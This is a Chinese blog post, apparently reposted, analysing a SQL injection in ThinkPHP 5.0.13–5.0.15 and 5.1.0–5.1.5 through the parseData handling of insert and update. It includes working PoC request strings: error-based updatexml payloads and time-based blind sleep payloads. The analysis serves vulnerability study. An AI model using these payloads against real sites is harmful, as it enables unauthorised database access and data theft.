ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

Thinkphp5 sql注入

2022-01-15 21:01:21  阅读:210  来源: 互联网

标签:username insert val Thinkphp5 update exp sql 注入


Thinkphp5 sql注入

影响版本:

5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

0x01漏洞触发点:

导致这个漏洞的函数为Builder类的parseData函数

image

这个函数的前半段主要作用为获取数据表的字段,然后进入一个循环,我们重点看第二个elseif处

image

这里有三个switch的case,我们可以看到如果$val[0]为exp时,$val[1]会直接拼接到$result中,其余两种情况则是会经过parseKey()处理之后再拼接上去,我们跟进paseKey()

image

parseKey()直接返回了$key,那么其实和第一种情况一样,也是直接将$val[1]拼接到了$result中,此时我们知道,如果$val可控,则$result的值可控。

知道了上述情况后,我们在Builder类里搜索一下,看有什么函数用到了parseData(),经过搜索得出,insert()和update()用到了parseData()

image

image

我们可以看到,insert()和update()都是将$data传入parseData()后直接将结果替换到先前定义好的sql语句中,然后直接返回

image

我们再在Query类中搜索看看有哪个函数用到了insert()和update(),经过搜索发现,Query类的insert()和update()用了这两个函数

image

image

我们可以看到,$data传入后经过array_merge()拼接后直接传入了Builder类的insert()中,上面我们分析过,insert()返回的结果我们是可控的,$options['fetch_sql']值也为空,所以最后sql语句会直接执行,造成注入。同理,update()也会将sql语句直接执行,所以update()也存在注入。

0x02漏洞利用

如果方法的写法为

$username = request()->get('username/a');
db('admin')->insert(['username' => $username]);   

$username = request()->get('username/a');
db('admin')->where("id")->update(['username' => $username]);

$username = $_GET['username'];
db('admin')->insert(['username' => $username]);  

$username = $_GET['username'];
db('admin')->where("id")->update(['username' => $username]);

等,则存在注入。第二种的payload比第一种多了$val[0]为exp的注入,因为第一种使用了request类中的get()方法,而get()中调用了filterExp(),会在exp后添加空格,这样就匹配不到case为exp的情况,所以第二种的payload比第一种多了$val[0]为exp的注入。

POC:

s=index/index/sql&username[0]=inc&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233

image

s=index/index/sql&username[0]=exp&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233

image

如果app_debug没有开的话,可以使用insert和update时间盲注

update:

username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(5),sleep(3))%23&username[2]=233

insert:

?username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(3),sleep(2)))%23&username[2]=233

标签:username,insert,val,Thinkphp5,update,exp,sql,注入
来源: https://www.cnblogs.com/Yhck/p/15808056.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有